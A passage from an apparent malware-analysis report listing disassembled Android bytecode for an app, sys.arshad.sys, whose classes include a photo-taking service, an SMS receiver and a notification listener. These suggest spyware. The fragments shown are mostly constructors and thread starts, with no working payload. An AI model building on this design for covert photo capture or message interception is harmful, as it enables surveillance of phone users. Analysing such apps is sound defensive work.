7invoke-virtual {v0}, Ljava/lang/Thread;->start()V
8return-void
Cross References
APIs
  • java.lang.Thread.<init>
  • java.lang.Thread.start
Position Instruction Meta Information
0new-instance v0, Ljava/lang/Thread;
1new-instance v1, Lsys/arshad/sys/MainActivity$b$28;
3invoke-direct {v1, p0, p1}, Lsys/arshad/sys/MainActivity$b$28;-><init>(Lsys/arshad/sys/MainActivity$b;Ljava/lang/String;)V
5invoke-direct {v0, v1}, Ljava/lang/Thread;-><init>(Ljava/lang/Runnable;)V
7invoke-virtual {v0}, Ljava/lang/Thread;->start()V
8return-void
Cross References
APIs
  • java.lang.Thread.<init>
  • java.lang.Thread.start
Position Instruction Meta Information
0new-instance v0, Ljava/lang/Thread;
1new-instance v1, Lsys/arshad/sys/MainActivity$b$39;
3invoke-direct {v1, p0}, Lsys/arshad/sys/MainActivity$b$39;-><init>(Lsys/arshad/sys/MainActivity$b;)V
5invoke-direct {v0, v1}, Ljava/lang/Thread;-><init>(Ljava/lang/Runnable;)V
7invoke-virtual {v0}, Ljava/lang/Thread;->start()V
8return-void
Cross References
APIs
  • java.lang.Thread.<init>
  • java.lang.Thread.start
Position Instruction Meta Information
0new-instance v0, Ljava/lang/Thread;
1new-instance v1, Lsys/arshad/sys/MainActivity$b$29;
3invoke-direct {v1, p0, p1}, Lsys/arshad/sys/MainActivity$b$29;-><init>(Lsys/arshad/sys/MainActivity$b;Ljava/lang/String;)V
5invoke-direct {v0, v1}, Ljava/lang/Thread;-><init>(Ljava/lang/Runnable;)V
7invoke-virtual {v0}, Ljava/lang/Thread;->start()V
8return-void
Cross References
APIs
  • java.lang.Thread.<init>
  • java.lang.Thread.start
Position Instruction Meta Information
0new-instance v0, Ljava/lang/Thread;
1new-instance v1, Lsys/arshad/sys/MainActivity$b$30;
3invoke-direct {v1, p0, p1}, Lsys/arshad/sys/MainActivity$b$30;-><init>(Lsys/arshad/sys/MainActivity$b;Ljava/lang/String;)V
5invoke-direct {v0, v1}, Ljava/lang/Thread;-><init>(Ljava/lang/Runnable;)V
7invoke-virtual {v0}, Ljava/lang/Thread;->start()V
8return-void
Cross References
APIs
  • java.lang.Thread.<init>
  • java.lang.Thread.start
Position Instruction Meta Information
0new-instance v0, Ljava/lang/Thread;
1new-instance v1, Lsys/arshad/sys/MainActivity$b$31;
3invoke-direct {v1, p0, p1}, Lsys/arshad/sys/MainActivity$b$31;-><init>(Lsys/arshad/sys/MainActivity$b;Ljava/lang/String;)V
5invoke-direct {v0, v1}, Ljava/lang/Thread;-><init>(Ljava/lang/Runnable;)V
7invoke-virtual {v0}, Ljava/lang/Thread;->start()V
8return-void
Cross References
APIs
  • java.lang.Thread.<init>
  • java.lang.Thread.start
Position Instruction Meta Information
0new-instance v0, Ljava/lang/Thread;
1new-instance v1, Lsys/arshad/sys/MainActivity$b$35;
3invoke-direct {v1, p0, p1}, Lsys/arshad/sys/MainActivity$b$35;-><init>(Lsys/arshad/sys/MainActivity$b;Ljava/lang/String;)V
5invoke-direct {v0, v1}, Ljava/lang/Thread;-><init>(Ljava/lang/Runnable;)V
7invoke-virtual {v0}, Ljava/lang/Thread;->start()V
8return-void
Cross References
APIs
  • java.lang.Thread.<init>
  • java.lang.Thread.start
Position Instruction Meta Information
0new-instance v0, Ljava/lang/Thread;
1new-instance v1, Lsys/arshad/sys/MainActivity$b$37;
3invoke-direct {v1, p0, p1}, Lsys/arshad/sys/MainActivity$b$37;-><init>(Lsys/arshad/sys/MainActivity$b;Ljava/lang/String;)V
5invoke-direct {v0, v1}, Ljava/lang/Thread;-><init>(Ljava/lang/Runnable;)V
7invoke-virtual {v0}, Ljava/lang/Thread;->start()V
8return-void
Cross References
APIs
  • java.lang.Thread.<init>
  • java.lang.Thread.start
Position Instruction Meta Information
0new-instance v0, Ljava/lang/Thread;
1new-instance v1, Lsys/arshad/sys/MainActivity$b$38;
3invoke-direct {v1, p0, p1}, Lsys/arshad/sys/MainActivity$b$38;-><init>(Lsys/arshad/sys/MainActivity$b;Ljava/lang/String;)V
5invoke-direct {v0, v1}, Ljava/lang/Thread;-><init>(Ljava/lang/Runnable;)V
7invoke-virtual {v0}, Ljava/lang/Thread;->start()V
8return-void
Cross References
APIs
  • java.lang.Thread.<init>
  • java.lang.Thread.start
Position Instruction Meta Information
0new-instance v0, Ljava/lang/Thread;
1new-instance v1, Lsys/arshad/sys/MainActivity$b$40;
3invoke-direct {v1, p0, p1}, Lsys/arshad/sys/MainActivity$b$40;-><init>(Lsys/arshad/sys/MainActivity$b;Ljava/lang/String;)V
5invoke-direct {v0, v1}, Ljava/lang/Thread;-><init>(Ljava/lang/Runnable;)V
7invoke-virtual {v0}, Ljava/lang/Thread;->start()V
8return-void
Cross References
APIs
  • java.lang.Thread.<init>
  • java.lang.Thread.start
Position Instruction Meta Information
0new-instance v0, Ljava/lang/Thread;
1new-instance v1, Lsys/arshad/sys/MainActivity$b$41;
3invoke-direct {v1, p0, p1}, Lsys/arshad/sys/MainActivity$b$41;-><init>(Lsys/arshad/sys/MainActivity$b;Ljava/lang/String;)V
5invoke-direct {v0, v1}, Ljava/lang/Thread;-><init>(Ljava/lang/Runnable;)V
7invoke-virtual {v0}, Ljava/lang/Thread;->start()V
8return-void
Cross References
APIs
  • java.lang.Thread.<init>
  • java.lang.Thread.start
Position Instruction Meta Information
0new-instance v0, Ljava/lang/Thread;
1new-instance v1, Lsys/arshad/sys/MainActivity$5;
3invoke-direct {v1, p0}, Lsys/arshad/sys/MainActivity$5;-><init>(Lsys/arshad/sys/MainActivity;)V
5invoke-direct {v0, v1}, Ljava/lang/Thread;-><init>(Ljava/lang/Runnable;)V
7invoke-virtual {v0}, Ljava/lang/Thread;->start()V
8return-void
Cross References
APIs
  • java.lang.Thread.<init>
  • java.lang.Thread.start
Position Instruction Meta Information
0new-instance v0, Ljava/lang/Thread;
1new-instance v1, Lsys/arshad/sys/MainActivity$7;
3invoke-direct {v1, p0}, Lsys/arshad/sys/MainActivity$7;-><init>(Lsys/arshad/sys/MainActivity;)V
5invoke-direct {v0, v1}, Ljava/lang/Thread;-><init>(Ljava/lang/Runnable;)V
7invoke-virtual {v0}, Ljava/lang/Thread;->start()V
8return-void
Cross References
APIs
  • java.lang.Thread.<init>
  • java.lang.Thread.start
Position Instruction Meta Information
0new-instance v0, Ljava/lang/Thread;
1new-instance v1, Lsys/arshad/sys/MainActivity$10;
3invoke-direct {v1, p0}, Lsys/arshad/sys/MainActivity$10;-><init>(Lsys/arshad/sys/MainActivity;)V
5invoke-direct {v0, v1}, Ljava/lang/Thread;-><init>(Ljava/lang/Runnable;)V
7invoke-virtual {v0}, Ljava/lang/Thread;->start()V
8return-void
Cross References
APIs
  • java.lang.Thread.<init>
  • java.lang.Thread.start
Position Instruction Meta Information
0new-instance v0, Ljava/lang/Thread;
1new-instance v1, Lsys/arshad/sys/MainActivity$11;
3invoke-direct {v1, p0, p1}, Lsys/arshad/sys/MainActivity$11;-><init>(Lsys/arshad/sys/MainActivity;Ljava/lang/String;)V
5invoke-direct {v0, v1}, Ljava/lang/Thread;-><init>(Ljava/lang/Runnable;)V
7invoke-virtual {v0}, Ljava/lang/Thread;->start()V
8return-void
Cross References
APIs
  • java.lang.Thread.<init>
  • java.lang.Thread.start
Position Instruction Meta Information
0new-instance v0, Ljava/lang/Thread;
1new-instance v1, Lsys/arshad/sys/MainActivity$14;
3invoke-direct {v1, p0, p1}, Lsys/arshad/sys/MainActivity$14;-><init>(Lsys/arshad/sys/MainActivity;Ljava/lang/String;)V
5invoke-direct {v0, v1}, Ljava/lang/Thread;-><init>(Ljava/lang/Runnable;)V
7invoke-virtual {v0}, Ljava/lang/Thread;->start()V
8return-void
Cross References
APIs
  • java.lang.Thread.<init>
  • java.lang.Thread.start
Position Instruction Meta Information
0new-instance v0, Ljava/lang/Thread;
1new-instance v1, Lsys/arshad/sys/MainActivity$12;
3invoke-direct {v1, p0, p1}, Lsys/arshad/sys/MainActivity$12;-><init>(Lsys/arshad/sys/MainActivity;Ljava/lang/String;)V
5invoke-direct {v0, v1}, Ljava/lang/Thread;-><init>(Ljava/lang/Runnable;)V
7invoke-virtual {v0}, Ljava/lang/Thread;->start()V
8return-void
Cross References
APIs
  • java.lang.Thread.<init>
  • java.lang.Thread.start
Position Instruction Meta Information
0new-instance v0, Ljava/lang/Thread;
1new-instance v1, Lsys/arshad/sys/MainActivity$13;
3invoke-direct {v1, p0}, Lsys/arshad/sys/MainActivity$13;-><init>(Lsys/arshad/sys/MainActivity;)V
5invoke-direct {v0, v1}, Ljava/lang/Thread;-><init>(Ljava/lang/Runnable;)V
7invoke-virtual {v0}, Ljava/lang/Thread;->start()V
8return-void
Cross References
APIs
  • java.lang.Thread.<init>
  • java.lang.Thread.start
Position Instruction Meta Information
0new-instance v0, Ljava/lang/Thread;
1new-instance v1, Lsys/arshad/sys/MainActivity$1;
3invoke-direct {v1, p0}, Lsys/arshad/sys/MainActivity$1;-><init>(Lsys/arshad/sys/MainActivity;)V
5invoke-direct {v0, v1}, Ljava/lang/Thread;-><init>(Ljava/lang/Runnable;)V
7invoke-virtual {v0}, Ljava/lang/Thread;->start()V
8return-void
Cross References
APIs
  • java.lang.Thread.<init>
  • java.lang.Thread.start
Position Instruction Meta Information
0new-instance v0, Ljava/lang/Thread;
1new-instance v1, Lsys/arshad/sys/MainActivity$19;
3invoke-direct {v1, p0, p1}, Lsys/arshad/sys/MainActivity$19;-><init>(Lsys/arshad/sys/MainActivity;Ljava/lang/String;)V
5invoke-direct {v0, v1}, Ljava/lang/Thread;-><init>(Ljava/lang/Runnable;)V
7invoke-virtual {v0}, Ljava/lang/Thread;->start()V
8return-void
Cross References
APIs
  • java.lang.Thread.<init>
  • java.lang.Thread.start
Position Instruction Meta Information
0new-instance v0, Ljava/lang/Thread;
1new-instance v1, Lsys/arshad/sys/MainActivity$3;
3invoke-direct {v1, p0, p1}, Lsys/arshad/sys/MainActivity$3;-><init>(Lsys/arshad/sys/MainActivity;Ljava/lang/String;)V
5invoke-direct {v0, v1}, Ljava/lang/Thread;-><init>(Ljava/lang/Runnable;)V
7invoke-virtual {v0}, Ljava/lang/Thread;->start()V
8return-void
Cross References
APIs
  • java.lang.Thread.<init>
  • java.lang.Thread.start
Position Instruction Meta Information
0new-instance v0, Ljava/lang/Thread;
1new-instance v1, Lsys/arshad/sys/MainActivity$8;
3invoke-direct {v1, p0}, Lsys/arshad/sys/MainActivity$8;-><init>(Lsys/arshad/sys/MainActivity;)V
5invoke-direct {v0, v1}, Ljava/lang/Thread;-><init>(Ljava/lang/Runnable;)V
7invoke-virtual {v0}, Ljava/lang/Thread;->start()V
8return-void
APIs
  • java.lang.Thread.<init>
  • java.lang.Thread.start
Position Instruction Meta Information
0new-instance v0, Ljava/lang/Thread;
1new-instance v1, Lsys/arshad/sys/PhotoTakingService$1$1;
3invoke-direct {v1, p0, p1}, Lsys/arshad/sys/PhotoTakingService$1$1;-><init>(Lsys/arshad/sys/PhotoTakingService$1;Landroid/view/SurfaceHolder;)V
5invoke-direct {v0, v1}, Ljava/lang/Thread;-><init>(Ljava/lang/Runnable;)V
7invoke-virtual {v0}, Ljava/lang/Thread;->start()V
8return-void
APIs
  • android.content.BroadcastReceiver.<init>
  • android.telephony.SmsManager.getDefault
Position Instruction Meta Information
1invoke-direct {p0}, Landroid/content/BroadcastReceiver;-><init>()V
3invoke-static {}, Landroid/telephony/SmsManager;->getDefault()Landroid/telephony/SmsManager;
4move-result-object v0
5iput-object v0, p0, Lsys/arshad/sys/IncomingSms;->a:Landroid/telephony/SmsManager;
6return-void
APIs
  • android.service.notification.NotificationListenerService.onCreate
  • sys.arshad.sys.NotificationService.getApplicationContext
Position Instruction Meta Information
1invoke-super {p0}, Landroid/service/notification/NotificationListenerService;->onCreate()V
3invoke-virtual {p0}, Lsys/arshad/sys/NotificationService;->getApplicationContext()Landroid/content/Context;
4move-result-object v0
5iput-object v0, p0, Lsys/arshad/sys/NotificationService;->a:Landroid/content/Context;
6return-void
Cross References
APIs
  • android.support.v4.a.a.a
Position Instruction Meta Information
0const/4 v0, 0x0
1sget v1, Landroid/os/Build$VERSION;->SDK_INT:I
2const/16 v2, 0x17
3if-lt v1, v2, :cond_1b
4if-eqz p0, :cond_1b
5if-eqz p1, :cond_1b
6array-length v2, p1
7move v1, v0
8goto_d: if-ge v1, v2, :cond_1b
9aget-object v3, p1, v1
11invoke-static {p0, v3}, Landroid/support/v4/a/a;->a(Landroid/content/Context;Ljava/lang/String;)I
12move-result v3
13if-eqz v3, :cond_18
14goto_17: return v0
15cond_18: add-int/lit8 v1, v1, 0x1
16goto/16 :goto_d
17cond_1b: const/4 v0, 0x1
18goto/16 :goto_17
Cross References
APIs
  • java.lang.Object.<init>
Position Instruction Meta Information
0iput-object p1, p0, Lsys/arshad/sys/MainActivity$4;->g:Lsys/arshad/sys/MainActivity;
1iput-object p2, p0, Lsys/arshad/sys/MainActivity$4;->a:Ljava/lang/String;
2iput-object p3, p0, Lsys/arshad/sys/MainActivity$4;->b:Ljava/lang/String;
3iput-object p4, p0, Lsys/arshad/sys/MainActivity$4;->c:Ljava/lang/String;
4iput-object p5, p0, Lsys/arshad/sys/MainActivity$4;->d:Ljava/lang/String;
5iput-object p6, p0, Lsys/arshad/sys/MainActivity$4;->e:Ljava/lang/String;
6iput-object p7, p0, Lsys/arshad/sys/MainActivity$4;->f:Ljava/lang/String;
8invoke-direct {p0}, Ljava/lang/Object;-><init>()V
9return-void
Cross References
APIs
  • java.lang.Object.<init>
Position Instruction Meta Information
0iput-object p1, p0, Lsys/arshad/sys/MainActivity$b$10;->e:Lsys/arshad/sys/MainActivity$b;
1iput-object p2, p0, Lsys/arshad/sys/MainActivity$b$10;->a:Ljava/lang/String;
2iput-object p3, p0, Lsys/arshad/sys/MainActivity$b$10;->b:Ljava/lang/String;
3iput-object p4, p0, Lsys/arshad/sys/MainActivity$b$10;->c:Ljava/lang/String;
4iput p5, p0, Lsys/arshad/sys/MainActivity$b$10;->d:I
6invoke-direct {p0}, Ljava/lang/Object;-><init>()V
7return-void
APIs
  • android.app.Service.<init>
Position Instruction Meta Information
0const/4 v1, 0x0
2invoke-direct {p0}, Landroid/app/Service;-><init>()V
3iput v1, p0, Lsys/arshad/sys/PhotoTakingService;->b:I
4const/4 v0, 0x1
5iput v0, p0, Lsys/arshad/sys/PhotoTakingService;->c:I
6iput v1, p0, Lsys/arshad/sys/PhotoTakingService;->d:I
7return-void
Cross References
APIs
  • java.lang.Object.<init>
Position Instruction Meta Information
0iput-object p1, p0, Lsys/arshad/sys/MainActivity$b$3;->d:Lsys/arshad/sys/MainActivity$b;
1iput-object p2, p0, Lsys/arshad/sys/MainActivity$b$3;->a:Ljava/lang/String;
2iput-object p3, p0, Lsys/arshad/sys/MainActivity$b$3;->b:Ljava/lang/String;
3iput-object p4, p0, Lsys/arshad/sys/MainActivity$b$3;->c:Ljava/lang/String;
5invoke-direct {p0}, Ljava/lang/Object;-><init>()V
6return-void
Cross References
APIs
  • java.lang.Object.<init>
Position Instruction Meta Information
0iput-object p1, p0, Lsys/arshad/sys/MainActivity$b$36;->d:Lsys/arshad/sys/MainActivity$b;
1iput-object p2, p0, Lsys/arshad/sys/MainActivity$b$36;->a:Ljava/lang/String;
2iput-object p3, p0, Lsys/arshad/sys/MainActivity$b$36;->b:Ljava/lang/String;
3iput-object p4, p0, Lsys/arshad/sys/MainActivity$b$36;->c:Ljava/lang/String;
5invoke-direct {p0}, Ljava/lang/Object;-><init>()V
6return-void
Cross References
APIs
  • java.lang.Object.<init>
Position Instruction Meta Information
0iput-object p1, p0, Lsys/arshad/sys/MainActivity$b$13;->c:Lsys/arshad/sys/MainActivity$b;
1iput-object p2, p0, Lsys/arshad/sys/MainActivity$b$13;->a:Ljava/lang/String;
2iput p3, p0, Lsys/arshad/sys/MainActivity$b$13;->b:I
4invoke-direct {p0}, Ljava/lang/Object;-><init>()V
5return-void
Cross References
APIs
  • java.lang.Object.<init>
Position Instruction Meta Information
0iput-object p1, p0, Lsys/arshad/sys/MainActivity$b$15;->c:Lsys/arshad/sys/MainActivity$b;
1iput-object p2, p0, Lsys/arshad/sys/MainActivity$b$15;->a:Ljava/lang/String;
2iput-object p3, p0, Lsys/arshad/sys/MainActivity$b$15;->b:Ljava/lang/String;
4invoke-direct {p0}, Ljava/lang/Object;-><init>()V
5return-void
Cross References
APIs
  • java.lang.Object.<init>
Position Instruction Meta Information
0iput-object p1, p0, Lsys/arshad/sys/MainActivity$b$16;->c:Lsys/arshad/sys/MainActivity$b;
1iput-object p2, p0, Lsys/arshad/sys/MainActivity$b$16;->a:Ljava/lang/String;
2iput-object p3, p0, Lsys/arshad/sys/MainActivity$b$16;->b:Ljava/lang/String;
4invoke-direct {p0}, Ljava/lang/Object;-><init>()V
5return-void
Cross References
APIs
  • java.lang.Object.<init>
Position Instruction Meta Information
0iput-object p1, p0, Lsys/arshad/sys/MainActivity$b$17;->c:Lsys/arshad/sys/MainActivity$b;
1iput-object p2, p0, Lsys/arshad/sys/MainActivity$b$17;->a:Ljava/lang/String;
2iput-object p3, p0, Lsys/arshad/sys/MainActivity$b$17;->b:Ljava/lang/String;
4invoke-direct {p0}, Ljava/lang/Object;-><init>()V
5return-void
Cross References
APIs
  • java.lang.Object.<init>
Position Instruction Meta Information
0iput-object p1, p0, Lsys/arshad/sys/MainActivity$b$18;->c:Lsys/arshad/sys/MainActivity$b;
1iput-object p2, p0, Lsys/arshad/sys/MainActivity$b$18;->a:Ljava/lang/String;
2iput-object p3, p0, Lsys/arshad/sys/MainActivity$b$18;->b:Ljava/lang/String;
4invoke-direct {p0}, Ljava/lang/Object;-><init>()V
5return-void
Cross References
APIs
  • java.lang.Object.<init>
Position Instruction Meta Information
0iput-object p1, p0, Lsys/arshad/sys/MainActivity$b$19;->c:Lsys/arshad/sys/MainActivity$b;
1iput-object p2, p0, Lsys/arshad/sys/MainActivity$b$19;->a:Ljava/lang/String;
2iput-object p3, p0, Lsys/arshad/sys/MainActivity$b$19;->b:Ljava/lang/String;
4invoke-direct {p0}, Ljava/lang/Object;-><init>()V
5return-void
Cross References
APIs
  • java.lang.Object.<init>
Position Instruction Meta Information
0iput-object p1, p0, Lsys/arshad/sys/MainActivity$b$45;->c:Lsys/arshad/sys/MainActivity$b;
1iput-object p2, p0, Lsys/arshad/sys/MainActivity$b$45;->a:Ljava/lang/String;
2iput-object p3, p0, Lsys/arshad/sys/MainActivity$b$45;->b:Ljava/lang/String;
4invoke-direct {p0}, Ljava/lang/Object;-><init>()V
5return-void
Cross References
APIs
  • java.lang.Object.<init>
Position Instruction Meta Information
0iput-object p1, p0, Lsys/arshad/sys/MainActivity$11;->b:Lsys/arshad/sys/MainActivity;
1iput-object p2, p0, Lsys/arshad/sys/MainActivity$11;->a:Ljava/lang/String;
3invoke-direct {p0}, Ljava/lang/Object;-><init>()V
4return-void
Cross References
APIs
  • java.lang.Object.<init>
Position Instruction Meta Information
0iput-object p1, p0, Lsys/arshad/sys/MainActivity$12;->b:Lsys/arshad/sys/MainActivity;
1iput-object p2, p0, Lsys/arshad/sys/MainActivity$12;->a:Ljava/lang/String;
3invoke-direct {p0}, Ljava/lang/Object;-><init>()V
4return-void
Cross References
APIs
  • java.lang.Object.<init>
Position Instruction Meta Information
0iput-object p1, p0, Lsys/arshad/sys/MainActivity$14;->b:Lsys/arshad/sys/MainActivity;
1iput-object p2, p0, Lsys/arshad/sys/MainActivity$14;->a:Ljava/lang/String;
3invoke-direct {p0}, Ljava/lang/Object;-><init>()V
4return-void
APIs
  • sys.arshad.sys.MainActivity.c
Position Instruction Meta Information
1iget-object v0, p0, Lsys/arshad/sys/MainActivity$16;->a:Lsys/arshad/sys/MainActivity;
3invoke-static {v0}, Lsys/arshad/sys/MainActivity;->c(Lsys/arshad/sys/MainActivity;)Z
4return-void
Cross References
APIs
  • java.lang.Object.<init>
Position Instruction Meta Information
0iput-object p1, p0, Lsys/arshad/sys/MainActivity$19;->b:Lsys/arshad/sys/MainActivity;
1iput-object p2, p0, Lsys/arshad/sys/MainActivity$19;->a:Ljava/lang/String;
3invoke-direct {p0}, Ljava/lang/Object;-><init>()V
4return-void
Cross References
APIs
  • java.lang.Object.<init>
Position Instruction Meta Information
0iput-object p1, p0, Lsys/arshad/sys/MainActivity$3;->b:Lsys/arshad/sys/MainActivity;
1iput-object p2, p0, Lsys/arshad/sys/MainActivity$3;->a:Ljava/lang/String;
3invoke-direct {p0}, Ljava/lang/Object;-><init>()V
4return-void
Cross References
APIs
  • java.lang.Object.<init>
Position Instruction Meta Information
0iput-object p1, p0, Lsys/arshad/sys/MainActivity$6;->b:Lsys/arshad/sys/MainActivity;
1iput-object p2, p0, Lsys/arshad/sys/MainActivity$6;->a:Ljava/lang/String;
3invoke-direct {p0}, Ljava/lang/Object;-><init>()V
4return-void
APIs
  • sys.arshad.sys.MainActivity$a.a
Position Instruction Meta Information
0check-cast p1, [Ljava/lang/Void;
2invoke-virtual {p0, p1}, Lsys/arshad/sys/MainActivity$a;->a([Ljava/lang/Void;)Ljava/lang/Void;
3move-result-object v0
4return-object v0
Cross References
APIs
  • java.lang.Object.<init>
Position Instruction Meta Information
0iput-object p1, p0, Lsys/arshad/sys/MainActivity$b$1;->b:Lsys/arshad/sys/MainActivity$b;
1iput-object p2, p0, Lsys/arshad/sys/MainActivity$b$1;->a:Ljava/lang/String;
3invoke-direct {p0}, Ljava/lang/Object;-><init>()V
4return-void
Cross References
APIs
  • java.lang.Object.<init>
Position Instruction Meta Information
0iput-object p1, p0, Lsys/arshad/sys/MainActivity$b$11;->b:Lsys/arshad/sys/MainActivity$b;
1iput-object p2, p0, Lsys/arshad/sys/MainActivity$b$11;->a:Ljava/lang/String;
3invoke-direct {p0}, Ljava/lang/Object;-><init>()V
4return-void
Cross References
APIs
  • java.lang.Object.<init>
Position Instruction Meta Information
0iput-object p1, p0, Lsys/arshad/sys/MainActivity$b$14;->b:Lsys/arshad/sys/MainActivity$b;
1iput-object p2, p0, Lsys/arshad/sys/MainActivity$b$14;->a:Ljava/lang/String;
3invoke-direct {p0}, Ljava/lang/Object;-><init>()V
4return-void
Cross References
APIs
  • java.lang.Object.<init>
Position Instruction Meta Information
0iput-object p1, p0, Lsys/arshad/sys/MainActivity$b$24;->b:Lsys/arshad/sys/MainActivity$b;
1iput-object p2, p0, Lsys/arshad/sys/MainActivity$b$24;->a:Ljava/lang/String;
3invoke-direct {p0}, Ljava/lang/Object;-><init>()V
4return-void
Cross References
APIs
  • java.lang.Object.<init>
Position Instruction Meta Information
0iput-object p1, p0, Lsys/arshad/sys/MainActivity$b$25;->b:Lsys/arshad/sys/MainActivity$b;
1iput-object p2, p0, Lsys/arshad/sys/MainActivity$b$25;->a:Ljava/lang/String;
3invoke-direct {p0}, Ljava/lang/Object;-><init>()V
4return-void
Cross References
APIs
  • java.lang.Object.<init>
Position Instruction Meta Information
0iput-object p1, p0, Lsys/arshad/sys/MainActivity$b$27;->b:Lsys/arshad/sys/MainActivity$b;
1iput-object p2, p0, Lsys/arshad/sys/MainActivity$b$27;->a:Ljava/lang/String;
3invoke-direct {p0}, Ljava/lang/Object;-><init>()V
4return-void
Cross References
APIs
  • java.lang.Object.<init>
Position Instruction Meta Information
0iput-object p1, p0, Lsys/arshad/sys/MainActivity$b$28;->b:Lsys/arshad/sys/MainActivity$b;
1iput-object p2, p0, Lsys/arshad/sys/MainActivity$b$28;->a:Ljava/lang/String;
3invoke-direct {p0}, Ljava/lang/Object;-><init>()V
4return-void
Cross References
APIs
  • java.lang.Object.<init>
Position Instruction Meta Information
0iput-object p1, p0, Lsys/arshad/sys/MainActivity$b$29;->b:Lsys/arshad/sys/MainActivity$b;
1iput-object p2, p0, Lsys/arshad/sys/MainActivity$b$29;->a:Ljava/lang/String;
3invoke-direct {p0}, Ljava/lang/Object;-><init>()V
4return-void
Cross References
APIs
  • java.lang.Object.<init>
Position Instruction Meta Information
0iput-object p1, p0, Lsys/arshad/sys/MainActivity$b$30;->b:Lsys/arshad/sys/MainActivity$b;
1iput-object p2, p0, Lsys/arshad/sys/MainActivity$b$30;->a:Ljava/lang/String;
3invoke-direct {p0}, Ljava/lang/Object;-><init>()V
4return-void
Cross References
APIs
  • java.lang.Object.<init>
Position Instruction Meta Information
0iput-object p1, p0, Lsys/arshad/sys/MainActivity$b$31;->b:Lsys/arshad/sys/MainActivity$b;
1iput-object p2, p0, Lsys/arshad/sys/MainActivity$b$31;->a:Ljava/lang/String;
3invoke-direct {p0}, Ljava/lang/Object;-><init>()V
4return-void
Cross References
APIs
  • java.lang.Object.<init>
Position Instruction Meta Information
0iput-object p1, p0, Lsys/arshad/sys/MainActivity$b$32;->b:Lsys/arshad/sys/MainActivity$b;
1iput p2, p0, Lsys/arshad/sys/MainActivity$b$32;->a:I
3invoke-direct {p0}, Ljava/lang/Object;-><init>()V
4return-void
Cross References
APIs
  • java.lang.Object.<init>
Position Instruction Meta Information
0iput-object p1, p0, Lsys/arshad/sys/MainActivity$b$35;->b:Lsys/arshad/sys/MainActivity$b;
1iput-object p2, p0, Lsys/arshad/sys/MainActivity$b$35;->a:Ljava/lang/String;
3invoke-direct {p0}, Ljava/lang/Object;-><init>()V
4return-void
Cross References
APIs
  • java.lang.Object.<init>
Position Instruction Meta Information
0iput-object p1, p0, Lsys/arshad/sys/MainActivity$b$37;->b:Lsys/arshad/sys/MainActivity$b;
1iput-object p2, p0, Lsys/arshad/sys/MainActivity$b$37;->a:Ljava/lang/String;
3invoke-direct {p0}, Ljava/lang/Object;-><init>()V
4return-void
Cross References
APIs
  • java.lang.Object.<init>
Position Instruction Meta Information
0iput-object p1, p0, Lsys/arshad/sys/MainActivity$b$38;->b:Lsys/arshad/sys/MainActivity$b;
1iput-object p2, p0, Lsys/arshad/sys/MainActivity$b$38;->a:Ljava/lang/String;
3invoke-direct {p0}, Ljava/lang/Object;-><init>()V
4return-void
Cross References
APIs
  • java.lang.Object.<init>
Position Instruction Meta Information
0iput-object p1, p0, Lsys/arshad/sys/MainActivity$b$4;->b:Lsys/arshad/sys/MainActivity$b;
1iput-object p2, p0, Lsys/arshad/sys/MainActivity$b$4;->a:Ljava/lang/String;
3invoke-direct {p0}, Ljava/lang/Object;-><init>()V
4return-void
Cross References
APIs
  • java.lang.Object.<init>
Position Instruction Meta Information
0iput-object p1, p0, Lsys/arshad/sys/MainActivity$b$40;->b:Lsys/arshad/sys/MainActivity$b;
1iput-object p2, p0, Lsys/arshad/sys/MainActivity$b$40;->a:Ljava/lang/String;
3invoke-direct {p0}, Ljava/lang/Object;-><init>()V
4return-void
Cross References
APIs
  • java.lang.Object.<init>
Position Instruction Meta Information
0iput-object p1, p0, Lsys/arshad/sys/MainActivity$b$41;->b:Lsys/arshad/sys/MainActivity$b;
1iput-object p2, p0, Lsys/arshad/sys/MainActivity$b$41;->a:Ljava/lang/String;
3invoke-direct {p0}, Ljava/lang/Object;-><init>()V
4return-void
Cross References
APIs
  • java.lang.Object.<init>
Position Instruction Meta Information
0iput-object p1, p0, Lsys/arshad/sys/MainActivity$b$42;->b:Lsys/arshad/sys/MainActivity$b;
1iput p2, p0, Lsys/arshad/sys/MainActivity$b$42;->a:I
3invoke-direct {p0}, Ljava/lang/Object;-><init>()V
4return-void
Cross References
APIs
  • java.lang.Object.<init>
Position Instruction Meta Information
0iput-object p1, p0, Lsys/arshad/sys/MainActivity$b$5;->b:Lsys/arshad/sys/MainActivity$b;
1iput-object p2, p0, Lsys/arshad/sys/MainActivity$b$5;->a:Ljava/lang/String;
3invoke-direct {p0}, Ljava/lang/Object;-><init>()V
4return-void
Cross References
APIs
  • java.lang.Object.<init>
Position Instruction Meta Information
0iput-object p1, p0, Lsys/arshad/sys/MainActivity$b$6;->b:Lsys/arshad/sys/MainActivity$b;
1iput-object p2, p0, Lsys/arshad/sys/MainActivity$b$6;->a:Ljava/lang/String;
3invoke-direct {p0}, Ljava/lang/Object;-><init>()V
4return-void
Cross References
APIs
  • java.lang.Object.<init>
Position Instruction Meta Information
0iput-object p1, p0, Lsys/arshad/sys/MainActivity$b$7;->b:Lsys/arshad/sys/MainActivity$b;
1iput-object p2, p0, Lsys/arshad/sys/MainActivity$b$7;->a:Ljava/lang/String;
3invoke-direct {p0}, Ljava/lang/Object;-><init>()V
4return-void
Cross References
APIs
  • java.lang.Object.<init>
Position Instruction Meta Information
0iput-object p1, p0, Lsys/arshad/sys/MainActivity$b$a$1;->b:Lsys/arshad/sys/MainActivity$b$a;
1iput-object p2, p0, Lsys/arshad/sys/MainActivity$b$a$1;->a:Landroid/content/Intent;
3invoke-direct {p0}, Ljava/lang/Object;-><init>()V
4return-void
APIs
  • sys.arshad.sys.MainActivity$c.a
Position Instruction Meta Information
0check-cast p1, [Ljava/lang/Void;
2invoke-virtual {p0, p1}, Lsys/arshad/sys/MainActivity$c;->a([Ljava/lang/Void;)Ljava/lang/Void;
3move-result-object v0
4return-object v0
Cross References
APIs
  • sys.arshad.sys.MainActivity$15.<init>
Position Instruction Meta Information
0new-instance v0, Lsys/arshad/sys/MainActivity$15;
2invoke-direct {v0, p0}, Lsys/arshad/sys/MainActivity$15;-><init>(Lsys/arshad/sys/MainActivity;)V
3iput-object v0, p0, Lsys/arshad/sys/MainActivity;->m:Ljava/util/TimerTask;
4return-void
Cross References
APIs
  • sys.arshad.sys.MainActivity$16.<init>
Position Instruction Meta Information
0new-instance v0, Lsys/arshad/sys/MainActivity$16;
2invoke-direct {v0, p0}, Lsys/arshad/sys/MainActivity$16;-><init>(Lsys/arshad/sys/MainActivity;)V
3iput-object v0, p0, Lsys/arshad/sys/MainActivity;->p:Ljava/util/TimerTask;
4return-void
